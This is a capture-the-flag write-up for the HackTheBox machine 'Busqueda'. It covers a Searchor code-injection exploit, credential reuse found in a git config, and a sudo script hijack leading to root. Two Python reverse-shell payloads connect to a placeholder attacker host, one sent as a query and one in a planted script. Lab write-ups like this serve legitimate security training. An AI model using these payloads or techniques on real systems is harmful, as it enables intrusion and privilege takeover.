Busqueda - HackTheBox
CTF Writeup for Busqueda from HackTheBox

This CTF is based on Python vulnerabilities, Docker and password reuse.
Starting off with an nmap scan; We find 22/tcp[SSH], 80/tcp[HTTP].
Going to 80/tcp[HTTP] we find a redirect to 'searcher.htb' .
When testing the search functionality, it sends two parameters of 'engine' and 'query'; maybe this could be SSTI, lettuce look further.
From this footer info we find the version of 'Searchor' being used (2.4.0).
Doing a quick online search for 'Searchor' vulnerabilities, we get goods.
Looking into GitHub user jonnyzar's repository 'POC-Searchor-2.4.2' .
This notes this exploit works for 'Searchor' <=2.4.2 and 2.4.0. He also offers exploit code to send as the query for RCE, convenient.
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<C2-ipv4>',<C2-port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
This worked and we now have reverse shell.
Once in, we have a user account of 'svc'; we can get our 'user.txt' flag now.
svc$ ls ~/
> snap user.txt
svc$ cat ~/user.txt
> ********************************
Lets enumerate a little.
svc$ pwd
> /var/www/app
svc$ ls -lah
> ... snip ...
> -rw-r--r-- 1 www-data www-data 1.1K Dec 1 14:22 app.py
> drwxr-xr-x 8 www-data www-data 4.0K Apr 16 15:24 .git
> drwxr-xr-x 2 www-data www-data 4.0K Dec 1 14:35 templates
> ... snip ...
svc$ ls -lah ./.git
> ... snip ...
> -rw-r--r-- 1 www-data www-data 15 Dec 1 14:35 COMMIT_EDITMSG
> -rw-r--r-- 1 www-data www-data 294 Dec 1 14:35 config
> -rw-r--r-- 1 www-data www-data 73 Dec 1 14:35 description
> ... snip ...
svc$ cat ./.git/config
> ... snip ...
> [remote "origin"]
> url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
> fetch = +refs/heads/*:refs/remotes/origin/*
> ... snip ...
We find two things: a subdomain of 'gitea.searcher.htb' ( guessing a Gitea instance? ) and a username/password combo for user 'cody' for it. Save all credentials.
Navigating to the Gitea instance ( with cody's credentials ) there isn't anything important, only to note two users on the instance being 'cody','administrator' .
As usual, try any passwords found on any user as password reuse is popular.
svc$ sudo -S -l
> [sudo] password for svc: jh1usoih2bkjaspwe92
> ... snip ...
>
> User svc may run the following commands on busqueda:
> (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Hmm, this script isn't readable, only executable; We will test it.
svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py /etc/passwd
> Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
>
> docker-ps : List running docker containers
> docker-inspect : Inpect a certain docker container
> full-checkup : Run a full system checkup
Testing each allowed sub-command.
svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
> ... snip ...
> 960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 months ago Up 4 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
> f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 months ago Up 4 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
> Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
> Something went wrong
Okay, from these sub-dommands, 'docker-inspect' stands out.
Documentation: "Return low-level information on Docker objects".
This is a quiet way to say you can essentially dump it's config.
$ docker inspect --format='{{json .Config}}' $INSTANCE_ID
svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' <instance-id_or_name>
We now have multiple passwords. To save time, the DB is useless.
We can now login as 'administrator' into Gitea with one of the config passwords.
Remember the 'full-checkup' sub-command that ended in an error? Well now we can look into it and how it tries to execute.
Looking into the 'system-checkup.py' and the 'process_action' function we can find how the 'full-checkup' sub-command operates.
Spotted the problem?
So all we need to do is create a script in a writable directory named 'full-checkup.sh' and we can stuff our reverse shell inside for a root privilege escalation.
#!/usr/bin/python3
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<c2-ipv4>",<c2-port>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
svc$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
... hang ...
root# ls /root
> ecosystem.config.js root.txt scripts snap
root# cat /root/root.txt
> ********************************
We now have 'root.txt' .
That's all :) .